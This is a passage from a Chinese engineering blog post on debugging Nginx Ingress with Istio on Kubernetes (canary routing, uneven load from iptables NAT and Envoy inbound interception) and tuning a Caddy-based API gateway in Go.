highlighter-rouge">iptables</code>规则 NAT 转发到对应的<code class="language-plaintext highlighter-rouge">Pod</code>了。</p> + +<p>我们这里来简单的搭建一个环境,方便后续演示。</p> + +<p> </p> + +<h4 id="本地跑-kubernetes-技巧">本地跑 Kubernetes 技巧</h4> + +<p>我们先来改一个配置:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>ifconfig lo0 <span class="nb">alias </span>100.64.0.0 255.255.255.0 +</code></pre></div></div> + +<p>这里有一个小技巧,国内在本机跑 Kubernetes 集群一直要面临翻墙问题。</p> + +<p>虽然可以跑 SS,然后配置代理,但是 macOS 上的 Docker 都是基于虚拟机来实现的。</p> + +<p>用虚拟机实现有什么问题呢,你的 SS HTTP Proxy 一般都是监听<code class="language-plaintext highlighter-rouge">127.0.0.1:1087</code>的。</p> + +<p>如果你直接配置这个地址的话虚拟机内的<code class="language-plaintext highlighter-rouge">127.0.0.1</code>是虚拟机的本地回环地址,并不是你宿主机,所以无法直接访问。</p> + +<p>解决办法也很简答,让 SS HTTP Proxy 监听<code class="language-plaintext highlighter-rouge">0.0.0.0:1087</code>,然后把你的局域网内网 IP 配置到 Docker 代理中就行了。</p> + +<p>但你在公司,家庭来回切换的时候,内网 IP 是一直会变的,所以可以通过这个<code class="language-plaintext highlighter-rouge">alias</code>给你的网卡加一个别名,然后配置到 Docker 代理中就行了。一般配置一个不冲突的局域网 IP 就行了。</p> + +<p> </p> + +<h4 id="环境搭建">环境搭建</h4> + +<p>言归正传我们来搭建一下环境:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create Istio namespace</span> +kubectl create namespace istio-system + +<span class="c"># Install Istio</span> +helm repo add istio.io https://storage.googleapis.com/istio-release/releases/1.4.5/charts/ <span class="c"># Install Istio helm repo</span> +helm upgrade <span class="nt">--install</span> <span class="nt">--force</span> istio-init istio.io/istio-init <span class="nt">--namespace</span> istio-system <span class="c"># Install Istio CRDs</span> +kubectl <span class="nt">-n</span> istio-system <span class="nb">wait</span> <span class="nt">--for</span><span class="o">=</span><span class="nv">condition</span><span class="o">=</span><span class="nb">complete </span>job <span class="nt">--all</span> <span class="c"># Waiting for Istio CRDs job done</span> +helm upgrade istio <span class="nt">-i</span> istio.io/istio <span class="nt">--namespace</span> istio-system <span class="nt">--set</span> gateways.enabled<span class="o">=</span><span class="s2">"false"</span> <span class="c"># Install Istio</span> +kubectl label namespace default istio-injection<span class="o">=</span>enabled <span class="c"># Enable Istio auto inject</span> + +<span class="c"># Install Nginx Ingress</span> +helm upgrade <span class="nt">-i</span> nginx-ingress stable/nginx-ingress +</code></pre></div></div> + +<p> </p> + +<h4 id="创建服务">创建服务</h4> + +<p>安装一个测试用的<code class="language-plaintext highlighter-rouge">user-service</code>:</p> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">apps/v1</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">Deployment</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">selector</span><span class="pi">:</span> + <span class="na">matchLabels</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service</span> + <span class="na">replicas</span><span class="pi">:</span> <span class="m">1</span> + <span class="na">template</span><span class="pi">:</span> + <span class="na">metadata</span><span class="pi">:</span> + <span class="na">labels</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service</span> + <span class="na">spec</span><span class="pi">:</span> + <span class="na">containers</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span> + <span class="na">image</span><span class="pi">:</span> <span class="s">nginx:latest</span> + <span class="na">ports</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">containerPort</span><span class="pi">:</span> <span class="m">80</span> +<span class="nn">---</span> +<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">Service</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service</span> + <span class="na">labels</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">ports</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">port</span><span class="pi">:</span> <span class="m">80</span> + <span class="na">protocol</span><span class="pi">:</span> <span class="s">TCP</span> + <span class="na">selector</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service</span> +</code></pre></div></div> + +<p> </p> + +<h4 id="配置-ingress">配置 Ingress</h4> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">networking.k8s.io/v1beta1</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">Ingress</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">annotations</span><span class="pi">:</span> + <span class="s">kubernetes.io/ingress.class</span><span class="pi">:</span> <span class="s">nginx</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">rules</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">host</span><span class="pi">:</span> <span class="s">user-service.dozer.cc</span> + <span class="na">http</span><span class="pi">:</span> + <span class="na">paths</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">backend</span><span class="pi">:</span> + <span class="na">serviceName</span><span class="pi">:</span> <span class="s">user-service</span> + <span class="na">servicePort</span><span class="pi">:</span> <span class="m">80</span> +</code></pre></div></div> + +<p> </p> + +<h4 id="一览">一览</h4> + +<p>目前集群内<code class="language-plaintext highlighter-rouge">default</code>命名空间下有这些东西:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NAME READY STATUS RESTARTS AGE +pod/nginx-ingress-controller-6f65cf7dcd-tjt9g 2/2 Running 0 16m +pod/nginx-ingress-default-backend-576b86996d-8b66l 2/2 Running 0 16m +pod/user-service-8dc746bfb-jvcn4 2/2 Running 0 5m13s + +NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +service/kubernetes ClusterIP 10.96.0.1 &lt;none&gt; 443/TCP 3h2m +service/nginx-ingress-controller LoadBalancer 10.97.233.209 localhost 80:32095/TCP,443:30051/TCP 20m +service/nginx-ingress-default-backend ClusterIP 10.104.45.225 &lt;none&gt; 80/TCP 20m +service/user-service ClusterIP 10.100.97.73 &lt;none&gt; 80/TCP 5m13s +</code></pre></div></div> + +<p> </p> + +<h4 id="访问-nginx-ingress">访问 Nginx Ingress</h4> + +<p>因为这是本地的 Kubernetes 集群,<code class="language-plaintext highlighter-rouge">service/nginx-ingress-controller</code> 虽然类型是<code class="language-plaintext highlighter-rouge">LoadBalancer</code>,但实际上还是访问不到的。</p> + +<p>所以只能用<code class="language-plaintext highlighter-rouge">port-forward</code>来访问 Nginx Ingress 了。</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl port-forward service/nginx-ingress-controller 8080:80 &amp; + +curl localhost:8080 <span class="nt">-H</span> Host:user-service.dozer.cc +</code></pre></div></div> + +<p> </p> + +<h4 id="检查结果">检查结果</h4> + +<p>Nginx 是根据<code class="language-plaintext highlighter-rouge">Host</code>来把流量分发到对应的服务的,所以要在<code class="language-plaintext highlighter-rouge">curl</code>里传一下<code class="language-plaintext highlighter-rouge">Host</code>。然后看一下<code class="language-plaintext highlighter-rouge">user-service</code>的 Access Log,就可以看到访问日志了:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl logs <span class="nt">-l</span> <span class="nv">app</span><span class="o">=</span>user-service <span class="nt">-c</span> nginx +</code></pre></div></div> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>127.0.0.1 - - [25/Feb/2020:11:56:51 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.64.1" "127.0.0.1" +</code></pre></div></div> + +<p> </p> + +<h3 id="nginx-ingress-出口流量问题">Nginx Ingress 出口流量问题</h3> + +<p>环境搭建好了,访问也通了,本来以为一切很完美,但是当我们用上 Istio <code class="language-plaintext highlighter-rouge">VirtualService</code> 的时候就出问题了。</p> + +<p><img src="/uploads/2020/02/nginx-ingress-with-virtualservice.png" alt="Nginx Ingress with VirtualService" /></p> + +<p> </p> + +<h4 id="再创建一个服务">再创建一个服务</h4> + +<p>我们再创建一个服务<code class="language-plaintext highlighter-rouge">user-service-canary</code>做灰度发布:</p> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">apps/v1</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">Deployment</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service-canary</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">selector</span><span class="pi">:</span> + <span class="na">matchLabels</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service-canary</span> + <span class="na">replicas</span><span class="pi">:</span> <span class="m">1</span> + <span class="na">template</span><span class="pi">:</span> + <span class="na">metadata</span><span class="pi">:</span> + <span class="na">labels</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service-canary</span> + <span class="na">spec</span><span class="pi">:</span> + <span class="na">containers</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span> + <span class="na">image</span><span class="pi">:</span> <span class="s">nginx:latest</span> + <span class="na">ports</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">containerPort</span><span class="pi">:</span> <span class="m">80</span> +<span class="nn">---</span> +<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">Service</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service-canary</span> + <span class="na">labels</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service-canary</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">ports</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">port</span><span class="pi">:</span> <span class="m">80</span> + <span class="na">protocol</span><span class="pi">:</span> <span class="s">TCP</span> + <span class="na">selector</span><span class="pi">:</span> + <span class="na">app</span><span class="pi">:</span> <span class="s">user-service-canary</span> +</code></pre></div></div> + +<p> </p> + +<h4 id="配置virtualservice">配置<code class="language-plaintext highlighter-rouge">VirtualService</code></h4> + +<p>然后配置一个<code class="language-plaintext highlighter-rouge">VirtualService</code>把 50% 的流量切到<code class="language-plaintext highlighter-rouge">user-service-canary</code>:</p> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">networking.istio.io/v1alpha3</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">VirtualService</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">hosts</span><span class="pi">:</span> + <span class="pi">-</span> <span class="s">user-service</span> + <span class="na">http</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">route</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">destination</span><span class="pi">:</span> + <span class="na">host</span><span class="pi">:</span> <span class="s">user-service</span> + <span class="na">weight</span><span class="pi">:</span> <span class="m">50</span> + <span class="pi">-</span> <span class="na">destination</span><span class="pi">:</span> + <span class="na">host</span><span class="pi">:</span> <span class="s">user-service-canary</span> + <span class="na">weight</span><span class="pi">:</span> <span class="m">50</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">VirtualService</code>的本质就是转换成了 Envoy 的配置,告诉 Envoy 按照特定的规则分配流量,并不会产生什么新的东西。</p> + +<p> </p> + +<h4 id="无法命中user-service-canary">无法命中<code class="language-plaintext highlighter-rouge">user-service-canary</code></h4> + +<p>然而,再以<code class="language-plaintext highlighter-rouge">curl</code>访问的时候,却发现永远无法命中<code class="language-plaintext highlighter-rouge">user-service-canary</code>,难道是 Istio 的问题?</p> + +<p>尝试直接启动一个<code class="language-plaintext highlighter-rouge">Pod</code>然后在内部 debug 一下。</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl run debug <span class="nt">--generator</span><span class="o">=</span>run-pod/v1 <span class="nt">--rm</span> <span class="nt">--image</span><span class="o">=</span>curlimages/curl:latest <span class="nt">-it</span> sh +</code></pre></div></div> + +<p>结果发现一切正常,可以命中<code class="language-plaintext highlighter-rouge">user-service-canary</code>。</p> + +<p>后来看了一下 Nginx Ingress Access Log,发现了一些奇怪的现象:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>127.0.0.1 - - [25/Feb/2020:12:16:59 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.64.1" 84 0.001 [default-user-service-80] [] 10.1.0.37:80 612 0.001 200 56c050d5862b25d5f172b4ed202f407d +127.0.0.1 - - [25/Feb/2020:12:16:59 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.64.1" 84 0.002 [default-user-service-80] [] 10.1.0.37:80 612 0.002 200 3a8a4a2091b5abd02ca6c196bfbb8673 +127.0.0.1 - - [25/Feb/2020:12:16:59 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.64.1" 84 0.002 [default-user-service-80] [] 10.1.0.37:80 612 0.002 200 92433895e58897905011817b55822d4d +</code></pre></div></div> + +<p>这里<code class="language-plaintext highlighter-rouge">10.1.0.37:80</code>竟然是<code class="language-plaintext highlighter-rouge">user-service</code> <code class="language-plaintext highlighter-rouge">Pod</code> 的 IP,但是按照我的理解,Nginx 不应该访问<code class="language-plaintext highlighter-rouge">user-service</code> <code class="language-plaintext highlighter-rouge">Service</code> 的 IP 吗?如果没有 Istio,底层是 NAT 转发到对应的<code class="language-plaintext highlighter-rouge">Pod</code>的。</p> + +<p>Access Log 里显示的应该是<code class="language-plaintext highlighter-rouge">Pod</code> IP。后来搜索后找到了答案,原来 Nginx Ingress 默认会和 Istio 类似,去找到对应<code class="language-plaintext highlighter-rouge">Service</code>的<code class="language-plaintext highlighter-rouge">Pod</code> IP,然后直接访问<code class="language-plaintext highlighter-rouge">Pod</code> IP。</p> + +<p>这个默认行为其实和普通的 Nginx 类似,普通的 Nginx 在配置反向代理的时候,DNS 解析到下游 IP 后就会把这个 IP 缓存,后面并不会更新它。</p> + +<p> </p> + +<h4 id="修改-nginx-ingress-默认行为">修改 Nginx Ingress 默认行为</h4> + +<p>后来一番搜索后通过这个 <a href="https://github.com/kubernetes/ingress-nginx/issues/3171">Issue</a> 找到了对应的解决办法:</p> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">networking.k8s.io/v1beta1</span> +<span class="na">kind</span><span class="pi">:</span> <span class="s">Ingress</span> +<span class="na">metadata</span><span class="pi">:</span> + <span class="na">annotations</span><span class="pi">:</span> + <span class="s">kubernetes.io/ingress.class</span><span class="pi">:</span> <span class="s">nginx</span> + <span class="s">nginx.ingress.kubernetes.io/service-upstream</span><span class="pi">:</span> <span class="s2">"</span><span class="s">true"</span> + <span class="s">nginx.ingress.kubernetes.io/upstream-vhost</span><span class="pi">:</span> <span class="s">user-service.default.svc.cluster.local</span> + <span class="na">name</span><span class="pi">:</span> <span class="s">user-service</span> +<span class="na">spec</span><span class="pi">:</span> + <span class="na">rules</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">host</span><span class="pi">:</span> <span class="s">user-service.dozer.cc</span> + <span class="na">http</span><span class="pi">:</span> + <span class="na">paths</span><span class="pi">:</span> + <span class="pi">-</span> <span class="na">backend</span><span class="pi">:</span> + <span class="na">serviceName</span><span class="pi">:</span> <span class="s">user-service</span> + <span class="na">servicePort</span><span class="pi">:</span> <span class="m">80</span> +</code></pre></div></div> +<p>这两行新的配置的意思就是让 Nginx Ingress 用<code class="language-plaintext highlighter-rouge">Service</code>的 IP,另外作为一个反向代理一般都会把<code class="language-plaintext highlighter-rouge">Host</code>透传,所以这里也要强制把<code class="language-plaintext highlighter-rouge">Host</code>改掉,否则 Envoy 不认识这个域名。</p> + +<p>这个问题就通过这种手段解决了。</p> + +<p>另外 Envoy 究竟是根据什么来做路由的呢?一般反向代理都是根据域名的,那哪些域名会被 Envoy 路由到<code class="language-plaintext highlighter-rouge">user-service</code>呢?</p> + +<p>Istio 已经提供了一些 debug 工具可以让我们看到 Envoy 最终的配置。这个对后续的各种 Istio 配置检查很有帮助,因为当有些 Istio 配置无法理解的时候,可以看看它在 Envoy 那边是什么样的。然后再去查看 Envoy 的文档,会清晰很多。</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>istioctl dashboard envoy <span class="o">{</span>pod-name<span class="o">}</span> +</code></pre></div></div> + +<p>运行这行命令后会在浏览器打开一个窗口,可以看到很多 Envoy 的信息,其中 config_dump 就可以看到 Envoy 配置的细节:</p> + +<p><img src="/uploads/2020/02/envoy-config.png" alt="Envoy Config" /></p> + +<p> </p> + +<h3 id="nginx-ingress-入口流量问题">Nginx Ingress 入口流量问题</h3> + +<p>另外一个问题也很棘手,我们看监控的时候总是发现 Nginx Ingress 运行的时候<code class="language-plaintext highlighter-rouge">Pod</code> 流量非常不均衡。很明显是启动早的流量多,启动晚的流量少。</p> + +<p>这种现象在做负载均衡的时候很常见,一般是 HTTP Keep Alive 机制导致的。</p> + +<p>我们的集群并不是直接暴露在公网的,公网流量是经过 AWS Load Balancer 进来的。暴露在公网的负载均衡器一定要足够稳定,否则一旦出现故障虽然可以通过 DNS 切换做故障转移,但是总是需要一点时间的。所以直接把集群内的机器暴露在公网是不合适的,集群内的机器稳定性远不如 AWS Load Balancer。另外从安全的角度,直接把集群暴露在公网也是非常危险的。</p> + +<p><img src="/uploads/2020/02/alb-ingress-service.png" alt="ALB with Ingress and Service" /></p> + +<p>上图是我们集群南北流量的路径,这个问题很明显,肯定是 AWS Load Balancer 和 Nginx Ingress 之间保持着一个长连接并且长时间不关闭。</p> + +<p> </p> + +<h4 id="抓包验证问题">抓包验证问题</h4> + +<p>为了验证这个问题,想要抓包看看<code class="language-plaintext highlighter-rouge">SYN</code>包的数量是不是正常。</p> + +<p>Kubernetes 里抓包不是一个简单的事情,想要真多某一个容器抓包的话还要登陆宿主机。这里有对应的教程:<a href="https://cloud.tencent.com/developer/article/1429330">Kubernetes 问题定位技巧:容器内抓包 +</a></p> + +<p>当然,现在已经不用这么麻烦了,已经有了一些更便捷的工具:<a href="https://github.com/eldadru/ksniff">https://github.com/eldadru/ksniff</a></p> + +<p>抓包后,线上<code class="language-plaintext highlighter-rouge">SYN</code>包的确非常少,和 QPS 比起来少得多,完全不是一个正常的比例。</p> + +<p> </p> + +<h4 id="尝试从-aws-load-balancer-这端解决问题">尝试从 AWS Load Balancer 这端解决问题</h4> + +<p>发现了问题解决起来也不难,AWS Load Balancer 和 Nginx Ingress 都是反向代理,一般反向代理都可以配置。</p> + +<p>先是去 AWS Load Balancer 这边找,结果没有结果,提了 ticket 后确认 AWS Load Balancer 没有提供这个功能。AWS Load Balancer 可以保证流量是均衡的,但是不会主动断开连接。</p> + +<p>AWS Load Balancer 虽然没有 Keep Alive 最大请求数这个功能,但是它会自动保持连接数在所有机器之间的平衡,看着也很合理。可是我们的连接并不均衡啊!</p> + +<p><img src="/uploads/2020/02/alb-ingress.png" alt="ALB Ingress" /></p> + +<p>按照我当时的理解,如果有 3 个 Nginx Ingress,并且有 3 个连接,那么 AWS Load Balancer 会均衡分配连接。</p> + +<p>为了验证 AWS 有没有在忽悠我们,还是决定自己验证一下。AWS 遇到问题第一位帮我们解决问题的客服一般不会深入看我们的案例,只会找到一些文档并贴给我们。</p> + +<p>我们登上了宿主机并利用<code class="language-plaintext highlighter-rouge">ss</code>看了下来自于 AWS Load Balancer 的 TCP 连接数,但是竟然找不到来自 AWS Load Balancer 的连接!</p> + +<p>嗯,有点懵了。</p> + +<p> </p> + +<h4 id="理解底层原理">理解底层原理</h4> + +<p>按照经验,遇到这种情况一般都是自己对某一块的理解不够充分,我们这里用了 NodePort 来暴露的 Nginx Ingress 服务,按照 Kubernetes 的解释,就算只有一个 Nginx Ingress 在运行,只要配置了 NodePort 后,整个集群任何一台宿主机的特定端口都可以访问到这个 Nginx Ingress 服务。</p> + +<p><a href="https://kubernetes.io/docs/concepts/services-networking/service/#nodeport">https://kubernetes.io/docs/concepts/services-networking/service/#nodeport</a></p> + +<p>当时对这块理解还不够深入,但仔细想想,这里是怎么做到的呢?常见的技术方案就是反向代理等技术。但如果是反向代理应该也能看到 TCP 连接。</p> + +<p>再仔细阅读文档和相关资料后,终于搞清楚了这块的原理。原来这里的原理和 Kubernetes 里访问<code class="language-plaintext highlighter-rouge">Service</code>的原理差不多,都是底层配置了 iptables 实现了 NAT 转发。</p> + +<p>那我们来看看 Kubernetes 生成的 iptables 规则具体是怎么样的,这里只保留 Nginx Ingress 相关的规则:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iptables <span class="nt">-t</span> nat <span class="nt">-L</span> + +Chain KUBE-NODEPORTS <span class="o">(</span>1 references<span class="o">)</span> +target prot opt <span class="nb">source </span>destination +KUBE-MARK-MASQ tcp <span class="nt">--</span> anywhere anywhere /<span class="k">*</span> ingress/nginx-controller:http <span class="k">*</span>/ tcp dpt:30240 +KUBE-SVC-RDGZDELSJT2I3HUE tcp <span class="nt">--</span> anywhere anywhere /<span class="k">*</span> ingress/nginx-controller:http <span class="k">*</span>/ tcp dpt:30240 + +Chain KUBE-SVC-RDGZDELSJT2I3HUE <span class="o">(</span>2 references<span class="o">)</span> +target prot opt <span class="nb">source </span>destination +KUBE-SEP-UUSTZY7K4CEISA6G all <span class="nt">--</span> anywhere anywhere statistic mode random probability 0.50000000000 +KUBE-SEP-DUN7RLIPNVSKRQPN all <span class="nt">--</span> anywhere anywhere + +Chain KUBE-SEP-UUSTZY7K4CEISA6G <span class="o">(</span>1 references<span class="o">)</span> +target prot opt <span class="nb">source </span>destination +KUBE-MARK-MASQ all <span class="nt">--</span> ip-100-64-156-45.us-west-2.compute.internal anywhere +DNAT tcp <span class="nt">--</span> anywhere anywhere tcp to:100.64.156.45:80 + +Chain KUBE-SEP-DUN7RLIPNVSKRQPN <span class="o">(</span>1 references<span class="o">)</span> +target prot opt <span class="nb">source </span>destination +KUBE-MARK-MASQ all <span class="nt">--</span> ip-100-64-229-39.us-west-2.compute.internal anywhere +DNAT tcp <span class="nt">--</span> anywhere anywhere tcp to:100.64.229.39:80 +</code></pre></div></div> + +<p>这里可以看到 NodePort 指向了 Nginx Ingress 的<code class="language-plaintext highlighter-rouge">Service</code>,然后<code class="language-plaintext highlighter-rouge">Service</code>的目标有 2 个,对应着两个<code class="language-plaintext highlighter-rouge">Pod</code>,并且是随机按概率访问的。</p> + +<p><img src="/uploads/2020/02/alb-nat-ingress.png" alt="ALB NAT Ingress" /></p> + +<p>也就是说,就算 AWS Load Balancer 能严格控制连到各台宿主机的 TCP 连接数,但是最终进行 NAT 转发的时候是随机分配的,所以会出现上图这种情况。</p> + +<p>这也解释了为什么运行时间越长的<code class="language-plaintext highlighter-rouge">Pod</code>分配到的连接数越多了。因为每个新链接都是来一次随机分配,所以运行时间越长被分配到的连接就会越多。</p> + +<p>另外,想要看 NAT 转发的连接就需要用<code class="language-plaintext highlighter-rouge">netstat-nat</code>。最后终于确认,AWS 没有骗我们,从 AWS Load Balancer 的角度看,它的连接的确是均衡的。</p> + +<p> </p> + +<h4 id="尝试从-nginx-ingress-这端解决问题">尝试从 Nginx Ingress 这端解决问题</h4> + +<p>既然 AWS Load Balancer 不支持,那 Nginx Ingress 肯定支持这样的配置吧。</p> + +<p>搜索一番后找到了对应的配置,Nginx Ingress 支持上下游分别控制,配置分别是:</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">keep-alive-requests</code></li> + <li><code class="language-plaintext highlighter-rouge">upstream-keepalive-requests</code></li> +</ul> + +<p>然而,事与愿违,CPU 还是不均衡。这次问题在哪?</p> + +<p>先尝试进入 Nginx Ingress 抓包,明明是有断开连接的,接下来再准备看看 Nginx Ingress 里的 TCP 连接情况。</p> + +<p>这时上面提到的<code class="language-plaintext highlighter-rouge">Pod</code>内抓包工具就不够用了,我还需要在<code class="language-plaintext highlighter-rouge">Pod</code>运行更多的命令。而容器化后的镜像大多是精简过的镜像,很多都直接把包管理干掉了,这也意味着你没办法直接进入<code class="language-plaintext highlighter-rouge">Pod</code>安装对应的工具。</p> + +<p>最后找到一个更好用的工具:<a href="https://aleiwu.com/post/kubectl-debug-intro/">简化 Pod 故障诊断: kubectl-debug 介绍</a></p> + +<p>它可以用你自己的镜像,加入到目标容器的各种 namespace 中,文件系统是你自己的,网络却是共享的,这样就可以很方便地排查网路问题了。</p> + +<p>进入 Nginx Ingress “内部”后,看看 TCP 连接:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>State Recv-Q Send-Q Local Address:Port Peer Address:Port +ESTAB 0 0 127.0.0.1:http 127.0.0.1:43094 +</code></pre></div></div> + +<p>这里就很奇怪了,为什么远端的 IP 是本地地址呢?之前同样是对 Istio 理解不深刻,并不知道入口流量也会被 Istio 劫持,后来查阅了相关文章后终于搞懂了技术细节:</p> + +<p><a href="https://www.servicemesher.com/istio-handbook/concepts-and-principle/sidecar-injection-deep-dive.html">Istio 中的 Sidecar 注入与流量劫持详解</a></p> + +<p>原来这里 Nginx Ingress 只是断开了和 Envoy 之间的连接,而 Envoy 和 AWS Load Balancer 之间却没有断开。</p> + +<p>终于,一切现象都解释得通了。</p> + +<p> </p> + +<h4 id="解决问题">解决问题</h4> + +<p>所有的问题都搞清楚了,但是怎么解决呢?我们先来看看为什么 Istio 会拦截入口流量呢?流量控制只要拦截出口流量就行了。</p> + +<p>其实,这个也不难解释,Istio 遥测这块就需要拦截入口流量,才能知道这个服务的相关信息。</p> + +<p>而我们又禁用了 Mixer 模块,所以这个功能对我们来说是无用的,也就是说根本没必要让入口流量从 Envoy 走一遍,降低了性能还产生了问题。</p> + +<p>要禁用这个功能也不难,只要在<code class="language-plaintext highlighter-rouge">Pod</code>的<code class="language-plaintext highlighter-rouge">annotation</code>上加上<code class="language-plaintext highlighter-rouge">traffic.sidecar.istio.io/includeInboundPorts: ""</code>,就可以不拦截任何入口流量了。</p> + +<p>配置后的确有效,最终解决了我们的问题。</p> + +<p>另外 Istio 也有一个全局的配置,然而配置了却没用,查看 Istio 源码后发现它根本没用过这个配置。</p> + +<p>自己解决也不难,就是改一下 yaml 文件而已,但是不理解他们的意图,还是先给官方提了个 Issue :<a href="https://github.com/istio/istio/issues/21458"><code class="language-plaintext highlighter-rouge">global.proxy.includeInboundPorts</code> is broken</a></p> + +<p> </p> + +<h3 id="自研-api-gateway">自研 API Gateway</h3> + +<p>随着业务的发展,自研 API Gateway 的需求越来越大了,很多功能需要整合到 API Gateway 中,单纯的反向代理已经很难满足我们的需求了。</p> + +<p>相关需求有:智能路由,限流熔断,分布式追踪,统一身份校验,CDN 静态资源防盗链签名,I18N,安全防护等。</p> + +<p>正巧有一天看到了一篇 <a href="https://caddyserver.com/">Caddy</a> Plugin 开发的技术文章,发现基于 Caddy 的插件机制开发一个 API Gateway 在开发效率,运行性能等方面都很有优势。我们内部已经有不少业务用 Golang 来实现了,Golang 在 Service Mesh 这块也很有优势。</p> + +<p>目前我们集群内所有流量都已经通过我们新开发的 API Gateway 来路由了,上述提到的需求我们也都已经实现。实现业务不难,难的是性能和稳定性。</p> + +<p> </p> + +<h4 id="性能">性能</h4> + +<p>讲真,用了 Golang 的 pprof 后发现真的是非常好用。</p> + +<p>经过压测和线上的分析后发现,主要的性能瓶颈就是 gzip, gunzip, json encode, json decode 等。可以发现这些都有一个共同的特点,大量的字符流和字节流的操作。</p> + +<p>gzip 和 json 相关的都是很常用的技术,网上也有了很多的优化库可以提升这块的性能:</p> + +<ul> + <li><a href="https://github.com/klauspost/compress">https://github.com/klauspost/compress</a></li> + <li><a href="https://github.com/valyala/fastjson">https://github.com/valyala/fastjson</a></li> +</ul> + +<p>这两个库简单地替换以后,CPU 使用率就降低了 20% 以上。它们的优化方向主要是对象复用,还有一些算法的改进。</p> + +<p>再往下看性能会发现大部分瓶颈都是在 GC 这块。这也是合情合理的,因为 API Gateway 作为一个反向代理,要把数据<code class="language-plaintext highlighter-rouge">decode</code>后还要做大量处理,然后再<code class="language-plaintext highlighter-rouge">encode</code>后返回给用户。这个过程和 gzip, json 处理类似,都是大量的字符流和字节流操作。</p> + +<p>所以优化的思路和上面提到的两个库差不多,优化算法+对象复用。</p> + +<p>因为这里的算法大多是特定业务的算法,不是像刷题算法那样是一个很单纯的问题,所以就不多介绍了,本质上就是一些文本处理的优化算法。而且这块收益也不是非常大。</p> + +<p>这里主要看一下对象复用带来的收益。</p> + +<p><img src="/uploads/2020/02/grafana-gateway-pool.png" alt="Grafana Gateway Pool" /></p> + +<p>上图是对象池取对象的每秒调用次数和新建对象的每秒调用次数对比,很明显用了对象池后,大部分对象都得到了复用,命中率非常高。</p> + +<p><img src="/uploads/2020/02/grafana-gateway-gc.png" alt="Grafana Gateway GC" /></p> + +<p>经过优化后,GC 